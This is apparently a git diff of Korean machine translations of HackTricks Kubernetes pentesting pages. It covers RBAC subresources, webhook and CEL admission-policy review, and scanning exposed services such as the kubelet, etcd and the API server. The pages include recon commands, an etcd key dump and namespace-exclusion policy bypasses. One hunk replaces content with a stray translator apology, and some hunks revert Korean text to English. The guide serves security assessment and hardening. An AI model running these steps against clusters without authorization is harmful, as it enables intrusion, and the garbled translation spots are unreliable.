작성된다. `pods`에 대한 permission은 자동으로 `pods/exec` 또는 `pods/log`에 대한 access를 부여하지 않는다. +RBAC는 YAML `kind`가 아니라 API URLs에 나타나는 resource names를 사용한다. Pod는 `pods`, Deployment는 `deployments`이며, subresources는 `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` 또는 `services/proxy`처럼 슬래시와 함께 작성된다. `pods`에 대한 permission은 `pods/exec`나 `pods/log`에 대한 access를 자동으로 부여하지 않는다. -`resourceNames`는 일부 요청을 특정 object name으로 제한할 수 있다: +`resourceNames`는 일부 request를 특정 object name으로 제한할 수 있다: ```yaml rules: - apiGroups: [""] @@ -136,17 +144,18 @@ resources: ["configmaps"] resourceNames: ["app-config"] verbs: ["get", "update"] ``` -이것은 최상위 `create` 또는 `deletecollection`을 이름으로 제한하지 않는다. `list`와 `watch`의 경우, 클라이언트는 일치하는 `metadata.name` field selector를 포함해야 하며, 그렇지 않으면 해당 요청은 그 rule에 의해 authorized되지 않는다: +이것은 최상위 `create` 또는 `deletecollection`을 이름으로 제한하지 않습니다. `list`와 `watch`의 경우, 클라이언트는 일치하는 `metadata.name` field selector를 포함해야 하며, 그렇지 않으면 해당 요청은 그 rule에 의해 authorized되지 않습니다: ```bash kubectl get configmaps -n default --field-selector=metadata.name=app-config ``` -고영향 체크에는 exact access reviews를 사용하세요: +고영향 점검에는 정확한 access reviews를 사용하세요: ```bash kubectl auth can-i create pods/exec -n default kubectl auth can-i create serviceaccounts/token -n default kubectl auth can-i impersonate users kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +kubectl auth can-i impersonate-on:user-info:list pods -n default ``` ## **RBAC 열거** ```bash @@ -170,7 +179,7 @@ kubectl describe roles kubectl get rolebindings kubectl describe rolebindings ``` -### 권한 상승을 위한 Role/ClusterRoles 남용 +### Role/ClusterRoles를 악용한 Privilege Escalation {{#ref}} abusing-roles-clusterroles-in-kubernetes/ diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 68877afee..2db7613a4 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -2,28 +2,28 @@ {{#include ../../banners/hacktricks-training.md}} -**이 페이지의 원저자는** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)입니다 +**이 페이지의 원저자는** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ## Definition -`ValidatingWebhookConfiguration`은 하나 이상의 validating admission webhooks를 등록하는 Kubernetes 리소스입니다. 이 webhooks는 인증과 권한 부여 이후, 하지만 객체가 저장되기 전에 API server로부터 AdmissionReview 요청을 받습니다. +`ValidatingWebhookConfiguration`은 하나 이상의 validating admission webhooks를 등록하는 Kubernetes 리소스다. 이 webhooks는 인증과 인가 이후, 객체가 저장되기 전에 API server로부터 AdmissionReview 요청을 받는다. -Validating webhooks는 요청을 거부할 수 있습니다. `MutatingWebhookConfiguration`으로 설정된 Mutating webhooks는 먼저 객체를 변경할 수 있습니다. 보안 검토에서는 보통 두 리소스 모두를 확인해야 합니다. 악의적이거나 약한 mutating webhook은 workloads를 다시 쓸 수 있고, validating webhook이나 policy engine은 이를 차단하거나 허용할 수 있기 때문입니다. +Validating webhooks는 요청을 거부할 수 있다. `MutatingWebhookConfiguration`으로 구성된 Mutating webhooks는 먼저 객체를 변경할 수 있다. 보안 검토에서는 일반적으로 두 리소스를 모두 검사해야 한다. 악성 또는 취약한 mutating webhook은 workload를 다시 작성할 수 있고, validating webhook 또는 policy engine은 이를 차단하거나 허용할 수 있기 때문이다. ## Purpose -`ValidatingWebhookConfiguration`의 목적은 API server가 언제 validating webhook을 호출해야 하는지, 그리고 webhook 결과를 어떻게 처리해야 하는지를 정의하는 것입니다. 중요한 보안 질문은 단순히 "policy가 설치되어 있는가?"만이 아니라 다음도 포함합니다: +`ValidatingWebhookConfiguration`의 목적은 API server가 언제 validating webhook을 호출해야 하는지, 그리고 webhook 결과를 어떻게 처리해야 하는지를 정의하는 것이다. 중요한 보안 질문은 단순히 "policy가 설치되어 있는가?"가 아니라, 다음도 포함한다: -- 어떤 API groups, resources, operations, scopes와 일치하는가? +- 어떤 API groups, resources, operations, scopes와 매칭되는가? - selectors에 의해 어떤 namespaces 또는 objects가 제외되는가? -- `matchConditions`가 어떤 요청 클래스들을 건너뛰는가? +- `matchConditions`가 어떤 request classes를 건너뛰는가? - `failurePolicy`가 `Ignore`로 fail open하는가, 아니면 `Fail`로 fail closed하는가? -- webhook service가 도달 가능하고, 설정된 `caBundle`에 의해 신뢰되며, 높은 권한을 가진 service account로 실행되는가? -- policy engine이 예외 resources, 제외된 users, 또는 제외된 groups도 노출하는가? +- webhook service는 접근 가능하고, 설정된 `caBundle`에 의해 신뢰되며, 높은 권한의 service account로 실행되는가? +- policy engine이 예외 리소스, 제외된 users, 또는 제외된 groups도 노출하는가? **Example** -다음은 ValidatingWebhookConfiguration의 예시입니다: +다음은 ValidatingWebhookConfiguration의 예시다: ```yaml apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration @@ -53,12 +53,12 @@ matchExpressions: operator: NotIn values: ["kube-system"] ``` -ValidatingWebhookConfiguration와 policies의 주요 차이점은 다음과 같습니다: +The main difference between a ValidatingWebhookConfiguration and policies :

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)** : 들어오는 Kubernetes API 요청을 사전에 정의된 규칙과 제약 조건 집합에 대해 검증하는 server-side component인 validating webhook을 정의하는 Kubernetes resource입니다. -- **Kyverno ClusterPolicy**: pods, deployments, services 같은 Kubernetes resources를 검증하고 enforce하기 위한 규칙과 제약 조건 집합을 지정하는 policy definition입니다. +- **ValidatingWebhookConfiguration (VWC)** : 들어오는 Kubernetes API 요청을 미리 정의된 규칙과 제약 조건 집합에 대해 검증하는 서버 측 구성 요소인 validating webhook을 정의하는 Kubernetes 리소스입니다. +- **Kyverno ClusterPolicy**: pods, deployments, services와 같은 Kubernetes 리소스를 검증하고 강제 적용하기 위한 규칙과 제약 조건 집합을 지정하는 policy 정의입니다. ## Enumeration ``` @@ -69,34 +69,55 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook ``` Fields to inspect: -- `rules`: Check covered API groups, versions, resources, subresources, operations, and scope. -- `namespaceSelector` / `objectSelector`: Look for namespaces or labels that exclude resources from policy. -- `matchConditions`: CEL expressions can intentionally or accidentally skip requests. -- `failurePolicy`: `Ignore` lets requests continue if the webhook fails; `Fail` blocks them. -- `sideEffects`: Webhooks with side effects may not support dry-run testing. -- `timeoutSeconds`: Very short timeouts combined with `Ignore` can become fail-open behavior. -- `clientConfig`: Review whether the webhook points to an in-cluster Service or external URL, and inspect the backing workload and service account. -- `reinvocationPolicy`: Mutating webhooks may be reinvoked when later mutation changes the object. +- `rules`: 적용되는 API groups, versions, resources, subresources, operations, scope를 확인하세요. +- `namespaceSelector` / `objectSelector`: 정책에서 resources를 제외하는 namespaces나 labels가 있는지 확인하세요. +- `matchConditions`: CEL expressions가 requests를 의도적으로 또는 실수로 건너뛰게 할 수 있습니다. +- `failurePolicy`: `Ignore`는 webhook이 실패해도 requests를 계속 진행하게 하고; `Fail`은 이를 차단합니다. +- `sideEffects`: side effects가 있는 Webhooks는 dry-run testing을 지원하지 않을 수 있습니다. +- `timeoutSeconds`: `Ignore`와 함께 매우 짧은 timeouts는 fail-open behavior가 될 수 있습니다. +- `clientConfig`: webhook이 in-cluster Service를 가리키는지 external URL을 가리키는지 검토하고, backing workload와 service account를 확인하세요. +- `reinvocationPolicy`: Mutating webhooks는 나중의 mutation이 object를 변경하면 다시 호출될 수 있습니다. -### Kyverno and Gatekeeper VWC 악용 +### Native CEL admission policies -보는 바와 같이 설치된 모든 operator는 최소 하나의 ValidatingWebHookConfiguration(VWC)을 가지고 있습니다. +Modern clusters can also enforce admission logic with native policy objects in `admissionregistration.k8s.io`, not only with webhook configurations. `ValidatingAdmissionPolicy` is an in-process CEL-based alternative to validating webhooks and is only active when a `ValidatingAdmissionPolicyBinding` selects it. `MutatingAdmissionPolicy` is stable in Kubernetes v1.36 and is activated by `MutatingAdmissionPolicyBinding` for CEL-generated mutations. -**Kyverno**와 **Gatekeeper**는 모두 Kubernetes policy engine으로, 클러스터 전반에 걸쳐 policy를 정의하고 강제할 수 있는 framework를 제공합니다. +Enumerate them with: +```bash +kubectl api-resources --api-group=admissionregistration.k8s.io -o wide +kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings +kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true +kubectl get validatingadmissionpolicy -o yaml +kubectl get validatingadmissionpolicybinding -o yaml +``` +Security checks: -exception은 특정 상황에서 policy를 우회하거나 수정할 수 있게 해주는 특정 rule 또는 condition을 의미하지만, 이것이 유일한 방법은 아닙니다 ! +- binding이 없는 policy는 아무 것도 enforce하지 않는다. +- binding의 `validationActions`가 validation 실패를 denied, warned, audited, 또는 only recorded 중 무엇으로 처리할지 결정한다. +- `failurePolicy: Ignore`는 CEL evaluation errors 또는 misconfiguration이 fail open 되도록 한다. +- `matchConstraints`, `matchConditions`, `namespaceSelector`, 그리고 `objectSelector`는 sensitive requests를 제외할 수 있다. +- `paramKind`와 `paramRef`는 ConfigMaps 또는 CRD-backed parameter objects를 policy boundary의 일부로 만들 수 있다; 누가 그 parameter objects를 수정할 수 있는지 확인하라. +- policies, bindings, 그리고 parameter resources에 대한 writes는 privileged admission-control changes로 취급해야 한다. -**kyverno**의 경우, validating policy가 존재하면 webhook `kyverno-resource-validating-webhook-cfg`가 채워집니다. +### Abusing Kyverno and Gatekeeper VWC -Gatekeeper의 경우, `gatekeeper-validating-webhook-configuration` YAML file이 있습니다. +As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC). -둘 다 기본값으로 제공되지만, Administrator 팀이 이 두 file을 수정했을 수 있습니다. +**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster. + +Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way ! + +For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated. + +For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file. + +Both come from with default values but the Administrator teams might updated those 2 files. ### Use Case ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -번역할 원문이 제공되지 않았습니다. +죄송하지만, 제공된 문맥만으로는 “the following output”의 실제 내용을 확인할 수 없습니다. 번역할 원문이나 출력 내용을 보내주시면 그대로 한국어로 번역해드리겠습니다. ```yaml namespaceSelector: matchExpressions: @@ -109,22 +130,22 @@ values: - kube-system - MYAPP ``` -여기서 `kubernetes.io/metadata.name`은 namespace 이름 라벨을 의미합니다. `values` 목록에 있는 이름의 namespace는 정책에서 제외됩니다: +Here, `kubernetes.io/metadata.name`는 namespace 이름 라벨을 의미합니다. `values` 리스트에 있는 이름의 namespaces는 policy에서 제외됩니다: -namespace 존재 여부를 확인하세요. 때때로 자동화나 잘못된 설정 때문에 일부 namespace가 생성되지 않았을 수 있습니다. namespace를 생성할 권한이 있다면, `values` 목록에 있는 이름으로 namespace를 생성할 수 있고, 그러면 정책이 새 namespace에는 적용되지 않습니다. +Namespaces 존재 여부를 확인하세요. 때때로 automation이나 misconfiguration 때문에 일부 namespaces가 생성되지 않았을 수 있습니다. namespace를 생성할 권한이 있다면, `values` 리스트에 있는 이름으로 namespace를 생성할 수 있고, policies는 새 namespace에 적용되지 않습니다. -이 공격의 목표는 VWC 내부의 **misconfiguration**을 악용하여 operator의 제한을 우회한 다음, 다른 기법을 사용해 권한을 상승시키는 것입니다. +이 attack의 목표는 VWC 내부의 **misconfiguration**을 악용하여 operators restrictions를 우회한 다음, 다른 techniques로 privileges를 상승시키는 것입니다 -기타 흔한 우회 또는 악용 패턴: +다른 일반적인 bypass 또는 abuse 패턴: -- 사용자가 자신의 object에 opt-out 라벨을 추가할 수 있게 해주는 `objectSelector`. -- 보안상 중요한 validation에 대한 `failurePolicy: Ignore`, 특히 webhook Service에 endpoints가 없거나 네트워킹이 불안정할 때. -- 사용자, 그룹, service accounts, namespace, 또는 role에 대한 policy engine 예외가 의도보다 더 넓게 설정된 경우. -- workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, 또는 update 작업에 대한 coverage 누락. +- 사용자가 자신의 objects에 opt-out label을 추가할 수 있게 하는 `objectSelector`. +- 특히 webhook Service에 endpoints가 없거나 networking이 불안정할 때, 보안상 중요한 validation에 대한 `failurePolicy: Ignore`. +- 의도보다 더 광범위한 users, groups, service accounts, namespaces, 또는 roles에 대한 policy engine exceptions. +- workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, 또는 update operations에 대한 coverage 누락. - `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies, 또는 exception resources에 대한 write access. -- validation 전에 containers를 주입하고, images를 변경하고, secrets를 mount하고, tolerations를 추가하거나, service account 선택을 변경하는 악성 mutating webhook. +- validation 전에 containers를 주입하고, images를 변경하고, secrets를 mount하고, tolerations을 추가하거나 service account 선택을 변경하는 malicious mutating webhook. -admission은 API server admission chain을 통과하는 요청만 보호한다는 점을 기억하세요. Static Pods, node-local runtime socket access, direct kubelet abuse, 그리고 direct etcd access는 서로 다른 trust path이며, 별도의 hardening과 monitoring이 필요합니다. +admission은 API server admission chain을 통과하는 requests만 보호한다는 점을 기억하세요. Static Pods, node-local runtime socket access, direct kubelet abuse, direct etcd access는 서로 다른 trust paths이며 별도의 hardening과 monitoring이 필요합니다. {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -137,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/ - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) - [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) - [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) +- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/) +- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index b71ad062a..bd159dfd3 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -2,33 +2,33 @@ {{#include ../../../banners/hacktricks-training.md}} -Kubernetes는 **Internet에 노출**되었을 수 있거나, **한 pod를 compromise한 후 internal network**에서 찾을 수 있는 여러 **specific network services**를 사용합니다. +Kubernetes는 **특정 network services** 여러 개를 사용하며, 이는 **Internet에 노출**되어 있거나 **하나의 pod를 compromised한 뒤 내부 network**에서 발견할 수 있습니다. ## OSINT로 exposed pods 찾기 -한 가지 방법은 [crt.sh](https://crt.sh)에서 `Identity LIKE "k8s.%.com"`을 검색해 kubernetes 관련 subdomain을 찾는 것입니다. 또 다른 방법은 github에서 `"k8s.%.com"`을 검색하고 해당 문자열을 포함한 **YAML files**를 찾는 것입니다. +한 가지 방법은 [crt.sh](https://crt.sh)에서 `Identity LIKE "k8s.%.com"`을 검색해 kubernetes와 관련된 subdomain을 찾는 것입니다. 또 다른 방법은 github에서 `"k8s.%.com"`을 검색하고 해당 문자열을 포함하는 **YAML files**를 찾는 것입니다. -scan하기 전에 상관관계를 확인하기 위한 유용한 external recon signal: +스캔하기 전에 상관분석할 만한 유용한 외부 recon signals: -- `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, 또는 region names를 포함하는 DNS 및 certificate transparency 이름. +- `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage` 또는 region names를 포함하는 DNS 및 certificate transparency 이름. - 노출된 application 또는 platform UI를 cluster와 연결할 수 있는 cloud load balancer 이름, CNAMEs, tags, provider hostnames. -- kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, 또는 dashboard settings를 leak하는 public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, 문서. -- cloud credentials가 scope에 있을 때 확인할 수 있는 managed Kubernetes inventory: EKS endpoint public/private access 및 public CIDRs, GKE public/private control-plane settings 및 authorized networks, AKS private cluster/API server authorized IP settings. -- Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, ingress-controller admin 또는 metrics endpoints 같은 cluster 주변의 exposed platform tools. +- kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, 또는 dashboard settings를 유출하는 public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, documentation. +- cloud credentials가 범위에 있을 때의 managed Kubernetes inventory: EKS endpoint public/private access 및 public CIDRs, GKE public/private control-plane settings 및 authorized networks, AKS private cluster/API server authorized IP settings. +- cluster 주변의 exposed platform tools, 예를 들어 Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, ingress-controller admin 또는 metrics endpoints. -이것들은 attribution과 prioritization clue로 다루세요. public Ingress application은 많은 cluster에서 정상적이지만, exposed kubelet, etcd, dashboard, CI/CD deploy control, 또는 leak된 kubeconfig 자료는 훨씬 더 높게 우선순위를 두어야 합니다. +이것들은 attribution 및 prioritization 단서로 다루세요. public Ingress application은 많은 cluster에서 정상적이지만, exposed kubelet, etcd, dashboard, CI/CD deploy control, 또는 leaked kubeconfig 자료는 훨씬 더 높은 우선순위를 가져야 합니다. ## Kubernetes가 Services를 Expose하는 방법 -찾기 위해 Kubernetes가 어떻게 서비스를 **publicly expose**할 수 있는지 이해하는 것이 도움이 될 수 있습니다: +찾아내기 위해 Kubernetes가 **services를 public하게 expose**하는 방식을 이해하는 것이 유용할 수 있습니다: {{#ref}} ../exposing-services-in-kubernetes.md {{#endref}} -## Port scanning으로 Exposed pods 찾기 +## 포트 스캔을 통한 Exposed pods 찾기 -다음 ports는 Kubernetes cluster에서 열려 있을 수 있습니다: +다음 포트는 Kubernetes cluster에서 열려 있을 수 있습니다: | Port | Process | Description | | --------------- | -------------- | ---------------------------------------------------------------------- | @@ -40,11 +40,11 @@ scan하기 전에 상관관계를 확인하기 위한 유용한 external recon s | 8443/TCP | kube-apiserver | Minikube API port | | 8080/TCP | kube-apiserver | Insecure API port | | 10250/TCP | kubelet | full mode access를 허용하는 HTTPS API | -| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state | +| 10255/TCP | kubelet | 인증되지 않은 read-only HTTP port: pods, running pods 및 node state | | 10256/TCP | kube-proxy | Kube Proxy health check server | -| 9099/TCP | calico-felix | Calico용 Health check server | +| 9099/TCP | calico-felix | Calico용 health check server | | 6782-4/TCP | weave | Metrics and endpoints | -| 30000-32767/TCP | NodePort | services로의 Proxy | +| 30000-32767/TCP | NodePort | services로의 proxy | | 44134/TCP | Tiller | Helm service listening | ### Nmap @@ -53,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -이것은 관리자가 보통 **`kubectl`** 도구를 사용해 상호작용하는 **API Kubernetes service**입니다. +이것은 관리자가 보통 도구 **`kubectl`**을 사용해 상호작용하는 **API Kubernetes service**입니다. -**Common ports: 6443 and 443**, 하지만 minikube에서는 8443도 사용되며, insecure로 8080도 사용됩니다. +**Common ports: 6443 and 443**, 하지만 minikube에서는 8443도, insecure로 8080도 사용됩니다. ```bash curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**이 페이지를 확인하여 이 서비스와 통신하면서 민감한 데이터를 얻고 민감한 작업을 수행하는 방법을 알아보세요:** +**이 서비스를 통해 민감한 데이터를 얻고 민감한 작업을 수행하는 방법을 알아보려면 다음 페이지를 확인하세요:** {{#ref}} ../kubernetes-enumeration.md @@ -69,18 +69,18 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -이 서비스는 **클러스터의 모든 node에서 실행됩니다**. **node** 내부의 pods를 **control**하는 서비스입니다. **kube-apiserver**와 통신합니다. +이 서비스는 **클러스터의 모든 node에서 실행**됩니다. 이 서비스는 **node** 내부의 pods를 **제어**합니다. **kube-apiserver**와 통신합니다. -이 서비스가 노출되어 있다면 **unauthenticated RCE**를 찾았을 수 있습니다. +이 서비스가 노출되어 있다면 **인증되지 않은 RCE**를 발견했을 수 있습니다. #### Kubelet API ```bash curl -k https://:10250/metrics curl -k https://:10250/pods ``` -If the response is `Unauthorized` then it requires authentication. +`Unauthorized`라면 인증이 필요합니다. -If you can list nodes you can get a list of kubelets endpoints with: +노드를 나열할 수 있다면 다음으로 kubelets 엔드포인트 목록을 얻을 수 있습니다: ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -104,25 +104,25 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only ```bash helm --host tiller-deploy.kube-system:44134 version ``` -You could abuse this service to escalate privileges inside Kubernetes: +이 서비스를 악용하여 Kubernetes 내부에서 권한을 상승시킬 수 있습니다: ### cAdvisor -메트릭을 수집하는 데 유용한 서비스. +메트릭을 수집하는 데 유용한 서비스입니다. ```bash curl -k https://:4194 ``` ### NodePort -포트가 **NodePort**를 통해 모든 노드에 노출되면, 동일한 포트가 모든 노드에서 열리고 트래픽을 선언된 **Service**로 프록시합니다. 기본적으로 이 포트는 **range 30000-32767**에 있습니다. 따라서 새로 확인되지 않은 서비스는 이러한 포트를 통해 접근 가능할 수 있습니다. +포트가 **NodePort**를 통해 모든 node에 노출되면, 모든 node에서 동일한 포트가 열리고 트래픽을 선언된 **Service**로 프록시합니다. 기본적으로 이 포트는 **30000-32767** 범위에 있습니다. 따라서 새로 확인되지 않은 서비스가 이러한 포트를 통해 접근 가능할 수 있습니다. ```bash sudo nmap -sS -p 30000-32767 ``` ### Service mesh and proxy surfaces -**Istio, Linkerd, Cilium service mesh, 또는 Envoy-based gateways**를 사용하는 클러스터는 열거할 또 하나의 서비스 계층을 추가합니다. mesh는 mTLS, workload identity, L7 routing, authorization policy, telemetry, 그리고 gateway/egress controls를 제공할 수 있지만, 실제로 mesh에 등록되고 intercept된 traffic만 보호합니다. +**Istio, Linkerd, Cilium service mesh, 또는 Envoy-based gateways**를 사용하는 Cluster는 추가로 enumerate할 service layer를 더합니다. mesh는 mTLS, workload identity, L7 routing, authorization policy, telemetry, 그리고 gateway/egress controls를 제공할 수 있지만, 실제로 mesh에 등록되고 intercepted된 traffic만 보호합니다. -Kubernetes access에서 유용한 점검 사항: +Kubernetes access에서 유용한 checks: ```bash kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium' kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io' @@ -132,44 +132,54 @@ kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana| ``` Review: -- injection을 opt out한 Namespaces 또는 workloads, 아직 proxy 없이 실행 중인 것, 또는 injection이 enabled되기 전에 생성된 것. -- mTLS mode. Permissive migration modes는 여전히 unmeshed sources로부터 plaintext를 accept할 수 있음. -- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources. -- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces. -- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points. -- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly. +- Injection에서 opt-out한 Namespaces 또는 workloads, 여전히 proxy 없이 실행 중인 것, 또는 injection이 enabled 되기 전에 생성된 것. +- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources. +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, 및 egress resources. +- Linkerd policy resources, identity, Server/authorization objects, 그리고 exposed `linkerd-viz`, tap, or metrics surfaces. +- Cilium service mesh 및 Gateway API resources, Hubble visibility, Cilium policies, 그리고 Envoy integration points. +- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. 이들은 너무 넓게 exposed되면 routes, upstreams, certificates, identity, 그리고 traffic state를 leak할 수 있음. -Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route. +service mesh를 Kubernetes RBAC 또는 NetworkPolicies의 대체물로 취급하지 마십시오. mesh policy는 HTTP request를 block할 수 있지만, unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, 또는 missing NetworkPolicy는 여전히 실질적인 경로를 남깁니다. ## Vulnerable Misconfigurations ### Kube-apiserver Anonymous Access -Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints: +Anonymous access to **kube-apiserver resource APIs should not be allowed**. `/livez`, `/readyz`, `/healthz` 같은 Health endpoints는 의도적으로 reachable할 수 있으며, 특히 API server가 `AuthenticationConfiguration`를 사용해 anonymous requests를 특정 paths로 scope할 때 그렇습니다. Health 또는 version responses는 reachability evidence로 다루십시오; 핵심 문제는 valid credentials 없이 namespaces, Secrets, Pods, RBAC objects, metrics, logs, 또는 proxy subresources 같은 real resource APIs에 대해 `200` response가 반환되는지 여부입니다. ![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) -### **Checking for ETCD Anonymous Access** +Useful checks: +```bash +APISERVER='https://:6443' +curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez" +curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz" +curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces" +curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles" +``` +리소스 API가 `403`을 반환하면, API 서버가 요청을 `system:anonymous`로 분류했지만 authorization에서 차단했을 수 있습니다. 자격 증명 없이 리소스 API가 `200`을 반환하면, `system:anonymous` 또는 `system:unauthenticated`에 대한 RoleBindings 또는 ClusterRoleBindings, 허용적인 authorizer-chain 설정, 또는 front-door authentication 실수를 확인하세요. -The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check. +### **ETCD 익명 접근 확인** -If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored: +ETCD는 클러스터 secrets, configuration files 및 기타 **민감한 데이터**를 저장합니다. **기본적으로**, ETCD는 **익명으로** 접근할 **수 없지만**, 항상 확인하는 것이 좋습니다. + +ETCD에 익명으로 접근할 수 있다면, [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**을 **사용해야** 할 수 있습니다. 다음 command는 저장된 모든 keys를 가져옵니다: ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ### **Kubelet RCE** -[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)은 **기본적으로 anonymous acce**ss to the service가 **허용됨**을 설명합니다: +[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)은 **기본적으로 익명 acce**ss to the service가 **허용됨**을 설명합니다: -> Kubelet server에 대한 anonymous requests를 활성화합니다. 다른 authentication method에 의해 거부되지 않은 requests는 anonymous requests로 처리됩니다. Anonymous requests는 `system:anonymous`라는 username과 `system:unauthenticated`라는 group name을 가집니다. +> Kubelet server에 대한 익명 요청을 활성화합니다. 다른 authentication method에 의해 거부되지 않은 요청은 익명 요청으로 처리됩니다. 익명 요청의 username은 `system:anonymous`이고, group name은 `system:unauthenticated`입니다 -**Kubelet API의 authentication and authorization가 어떻게 동작하는지** 더 잘 이해하려면 이 페이지를 확인하세요: +**Kubelet API의 authentication and authorization이 어떻게 동작하는지** 더 잘 이해하려면 이 페이지를 확인하세요: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -**Kubelet** service **API는 문서화되어 있지 않지만**, source code는 여기서 찾을 수 있고, 노출된 endpoints를 찾는 것은 다음을 **실행하는 것만큼** 쉽습니다: +**Kubelet** 서비스 **API는 문서화되어 있지 않지만**, source code는 여기에서 찾을 수 있고, exposed endpoints를 찾는 것은 다음을 **실행**하는 것만큼 쉽습니다: ```bash curl -s 